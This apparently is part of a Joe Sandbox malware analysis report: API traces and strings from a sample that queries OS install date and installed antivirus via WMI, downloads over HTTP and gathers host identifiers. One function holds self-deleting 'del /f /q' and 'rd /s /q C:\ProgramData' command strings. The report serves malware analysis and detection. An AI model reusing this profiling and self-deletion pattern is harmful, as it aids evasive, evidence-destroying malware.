Part of subcall function 00FF197A: CoCreateInstance.OLE32(010121C8,00000000,00000001,0101A004,?,00000018,00FF1B24,?), ref: 00FF19A4
Part of subcall function 00FF197A: SysAllocString.OLEAUT32(?), ref: 00FF19B1
Part of subcall function 00FF197A: _wtoi64.MSVCRT ref: 00FF19E4
Part of subcall function 00FF197A: SysFreeString.OLEAUT32(?), ref: 00FF19FD
Part of subcall function 00FF197A: SysFreeString.OLEAUT32(00000000), ref: 00FF1A04

FileTimeToSystemTime.KERNEL32(?,?), ref: 00FF1B2D
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FF1B39
HeapAlloc.KERNEL32(00000000), ref: 00FF1B40
VariantClear.OLEAUT32(?), ref: 00FF1B7F
wsprintfA.USER32 ref: 00FF1B6C

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Strings

WQL, xrefs: 00FF1ABD
Select * From Win32_OperatingSystem, xrefs: 00FF1AB8
InstallDate, xrefs: 00FF1B10
%d/%d/%d %d:%d:%d, xrefs: 00FF1B66
Unknown, xrefs: 00FF1BA8
ROOT\CIMV2, xrefs: 00FF1A85
Unknown, xrefs: 00FF1B94
Unknown, xrefs: 00FF1B8D

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: 0aeadb973464901c3081f4cca288d8fddde5b281ec562d78255664ca3ed08271
Instruction ID: cbe9bceba38a52eca3c1454fe7994a9ebbfe9f5e862732b2c1d1a73afc6077b5
Opcode Fuzzy Hash: 0aeadb973464901c3081f4cca288d8fddde5b281ec562d78255664ca3ed08271
Instruction Fuzzy Hash: 14414972940209FBCB219BD6DC48EEFBBBDFFCAB11F104109F641AA194D6799941DB20

Function 00FE5229 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 161
networkmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FF073C: lstrcpyA.KERNEL32(00000000,?,?,00FE1CF7,?,00FF7504), ref: 00FF075B

Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4AD9
Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4ADF
Part of subcall function 00FE4AA7: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00FE4AE5
Part of subcall function 00FE4AA7: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00FE4AF7
Part of subcall function 00FE4AA7: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00FE4AFF

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FE5270
RtlAllocateHeap.NTDLL(00000000), ref: 00FE5277
InternetOpenA.WININET(?,00000000,00000000,00000000,00000000), ref: 00FE5299
StrCmpCA.SHLWAPI(?), ref: 00FE52B3
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FE52E3
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00FE5322
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00FE5352
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FE535D
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00FE5386
InternetReadFile.WININET(?,?,00000400,?), ref: 00FE53CC
InternetCloseHandle.WININET(?), ref: 00FE542B
InternetCloseHandle.WININET(?), ref: 00FE5437
InternetCloseHandle.WININET(?), ref: 00FE5443

Strings

GET, xrefs: 00FE5317

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$HeapOpenRequest$AllocateConnectCrackFileInfoOptionProcessQueryReadSendlstrcpylstrlen
String ID: GET
API String ID: 442264750-1805413626
Opcode ID: abed33d5800e583a6319bc33beb4f94e0e79b08524d00d11fac794444e405a4c
Instruction ID: 6722bf070255fe5219feae7fe5008f5b4cf174a0a0c9f4340497ca90962d406d
Opcode Fuzzy Hash: abed33d5800e583a6319bc33beb4f94e0e79b08524d00d11fac794444e405a4c
Instruction Fuzzy Hash: 8251197290096CAFDB209F65EC84BEFBBB9EB08756F4040A5FA09A2140D7755F809F90

Function 00FF1BBA Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch.LIBCMT ref: 00FF1BC1
CoInitializeEx.OLE32(00000000,00000000,00000030,00FF4144,?,AV: ,010158AC,Install Date: ,01015898,00000000,Windows: ,01015888,Work Dir: In memory,01015870), ref: 00FF1BD0
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00FF1BE1
CoCreateInstance.OLE32(01011F18,00000000,00000001,01011E48,?), ref: 00FF1BFB
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00FF1C31
VariantInit.OLEAUT32(?), ref: 00FF1C80

Part of subcall function 00FF1F65: LocalAlloc.KERNEL32(00000040,00000005,?,?,00FF1CA3,?), ref: 00FF1F6D
Part of subcall function 00FF1F65: CharToOemW.USER32(?,00000000), ref: 00FF1F79

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

VariantClear.OLEAUT32(?), ref: 00FF1CAE

Strings

Unknown, xrefs: 00FF1CD7
WQL, xrefs: 00FF1C4B
root\SecurityCenter2, xrefs: 00FF1C13
displayName, xrefs: 00FF1C92
Select * From AntiVirusProduct, xrefs: 00FF1C46
Unknown, xrefs: 00FF1CBC
Unknown, xrefs: 00FF1CC3

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: InitializeVariant$AllocBlanketCharClearCreateH_prolog3_catchInitInstanceLocalProxySecuritylstrcpy
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 4288110179-315474579
Opcode ID: 06eff91273f578cd1326b06d9ab9c0885f113232a28aa466600e16e6d4616dd1
Instruction ID: a544237a80ca2592c7d6970ab5ac31887c751c654d44e474c46d893186084d81
Opcode Fuzzy Hash: 06eff91273f578cd1326b06d9ab9c0885f113232a28aa466600e16e6d4616dd1
Instruction Fuzzy Hash: 86311E75A40209BBDB21DB96CC49EEFBB7DFFC6B10F10410DF651AA2A4C6755901DB20

Function 00FE1274 Relevance: 24.1, APIs: 16, Instructions: 120
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00FE1297
_memset.LIBCMT ref: 00FE12A6
lstrcatA.KERNEL32(?,01019A90), ref: 00FE12C0
lstrcatA.KERNEL32(?,01019A94), ref: 00FE12CE
lstrcatA.KERNEL32(?,01019A98), ref: 00FE12DC
lstrcatA.KERNEL32(?,01019A9C), ref: 00FE12EA
lstrcatA.KERNEL32(?,01019AA0), ref: 00FE12F8
lstrcatA.KERNEL32(?,01019AA4), ref: 00FE1306
lstrcatA.KERNEL32(?,01019AA8), ref: 00FE1314
lstrcatA.KERNEL32(?,01019AAC), ref: 00FE1322
lstrcatA.KERNEL32(?,01019AB0), ref: 00FE1330
lstrcatA.KERNEL32(?,01019AB4), ref: 00FE133E
lstrcatA.KERNEL32(?,01019AB8), ref: 00FE134C
lstrcatA.KERNEL32(?,01019ABC), ref: 00FE135A
lstrcatA.KERNEL32(?,01019AC0), ref: 00FE1368

Part of subcall function 00FF0EA8: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FE1375), ref: 00FF0EB4
Part of subcall function 00FF0EA8: HeapAlloc.KERNEL32(00000000,?,?,?,00FE1375), ref: 00FF0EBB
Part of subcall function 00FF0EA8: GetComputerNameA.KERNEL32(00000000,00FE1375), ref: 00FF0ECF

ExitProcess.KERNEL32 ref: 00FE13D3

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: lstrcat$HeapProcess_memset$AllocComputerExitName
String ID:
API String ID: 1553874529-0
Opcode ID: 4d96e3579ef077f2a48d4d854304455f48eed54728cda688fb4e3f278c1e900a
Instruction ID: a9b32a7158535590fe86271f900f5eb602953c02769bd7b4b68722ab14ea6071
Opcode Fuzzy Hash: 4d96e3579ef077f2a48d4d854304455f48eed54728cda688fb4e3f278c1e900a
Instruction Fuzzy Hash: 1F41C5B2D0426C6BCF20DBB28C19EDB7FACAF15324F904591E5D9E7005D7789A88CB90

Function 00FF1426 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 155
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,010157BB,00000000,?,?), ref: 00FF1496
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00FF14D3
wsprintfA.USER32 ref: 00FF1500
RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 00FF151F
RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00FF1555
lstrlenA.KERNEL32(?), ref: 00FF156A

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,01015DBC), ref: 00FF15FF
RegCloseKey.ADVAPI32(?), ref: 00FF1669
RegCloseKey.ADVAPI32(?), ref: 00FF1689
RegCloseKey.ADVAPI32(?), ref: 00FF1695

Strings

- , xrefs: 00FF1609
%s\%s, xrefs: 00FF14FA
?, xrefs: 00FF1486

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: Closelstrcpy$OpenQueryValuelstrlen$Enumlstrcatwsprintf
String ID: - $%s\%s$?
API String ID: 2394436309-3278919252
Opcode ID: 766d18cfba8e1b00062d8d4768ca6093c6858653cc487cc37881fae9500e0e6f
Instruction ID: d418dde6cdb1271931e9cac1ddf5416bdd4f0cb04efa6e403ef8737f87b23b76
Opcode Fuzzy Hash: 766d18cfba8e1b00062d8d4768ca6093c6858653cc487cc37881fae9500e0e6f
Instruction Fuzzy Hash: 9461D87590012C9BEB20DB25DD84EEEB7B9FF45300F5086D6A608A2122DF746F85DF90

Function 00FF7CF3 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FF7D18
_memset.LIBCMT ref: 00FF7D27
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,?,?,?), ref: 00FF7D3C

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

ShellExecuteEx.SHELL32(?), ref: 00FF7ED8
_memset.LIBCMT ref: 00FF7EE7
_memset.LIBCMT ref: 00FF7EF9
ExitProcess.KERNEL32 ref: 00FF7F09

Part of subcall function 00FF082C: lstrlenA.KERNEL32(?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0840
Part of subcall function 00FF082C: lstrcpyA.KERNEL32(00000000,?,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0868
Part of subcall function 00FF082C: lstrcatA.KERNEL32(?,00000000,?,?,00FF726B,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF0873

Part of subcall function 00FF07B0: lstrcpyA.KERNEL32(00000000,?,?,00FF7286,01015C00,00000000,0101572D,?,?,?,?,00FF8011), ref: 00FF07E0

Part of subcall function 00FF07EA: lstrcpyA.KERNEL32(00000000,?,0000000C,00FF74CC,010157A7), ref: 00FF0818
Part of subcall function 00FF07EA: lstrcatA.KERNEL32(?,?), ref: 00FF0822

Strings

" & exit, xrefs: 00FF7E5C
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 00FF7E12
" & exit, xrefs: 00FF7E0B
" & rd /s /q "C:\ProgramData\, xrefs: 00FF7DB5
/c timeout /t 10 & del /f /q ", xrefs: 00FF7D67

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000011FE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001205000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000120C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001213000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000122B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000123E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.000000000124A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001277000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.0000000001298000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000012C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1551213407.00000000012DA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fe0000_njrtdhadawt.jbxd

Yara matches

Similarity

API ID: _memsetlstrcpy$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\
API String ID: 2823247455-1079830800
Opcode ID: 039fae708bdccba0e5c8b9d7e5ddf4ef5139de7ca635361243f9f2f7a3713c12
Instruction ID: f3172389901d1d8154ea987568777118bb8bc8cbebd6c776bdcdc3b3935c1027
Opcode Fuzzy Hash: 039fae708bdccba0e5c8b9d7e5ddf4ef5139de7ca635361243f9f2f7a3713c12
Instruction Fuzzy Hash: 7151C5B2D4026E9BCB61EF25CC81AADB37CAF44704F4101E5A708B7122DB746F869F84

Function 00FF0BC5 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 110memorystringCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 00FF0BF8
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00FF0C38
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00FF0C8D
HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00FF0C94
wsprintfA.USER32 ref: 00FF0CCA
lstrcatA.KERNEL32(00000000,01015D6C), ref: 00FF0CD9

Part of subcall function 00FF18A7: GetCurrentHwProfileA.ADVAPI32(?), ref: 00FF18C2
Part of subcall function 00FF18A7: _memset.LIBCMT ref: 00FF18F1
Part of subcall function 00FF18A7: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 00FF1919
Part of subcall function 00FF18A7: lstrcatA.KERNEL32(?,01015DFC,?,?,?,?,?), ref: 00FF1936

lstrlenA.KERNEL32(?), ref: 00FF0CF0

Part of subcall function 00FF27A7: malloc.MSVCRT ref: 00FF27AC
Part of subcall function 00FF27A7: strncpy.MSVCRT ref: 00FF27BD

lstrcatA.KERNEL32(00000000,00000000), ref: 00FF0D13

Part of subcall function 00FF070A: lstrcpyA.KERNEL32(00000000,00000000,?,00FF724D,0101572D,?,?,?,?,00FF8011), ref: 00FF0730

Strings

:\, xrefs: 00FF0C29
C, xrefs: 00FF0C02
QuBi, xrefs: 00FF0C4A

Memory Dump Source

Source File: 00000000.00000002.1550677894.0000000000FE1000.00000080.00000001.01000000.00000003.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000000.00000002.1550658530.0000000000FE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550705762.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550724668.000000000101C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1550787502.00000000010EC000.00000004.00000001.01000000.00000003.sdmpDownload File
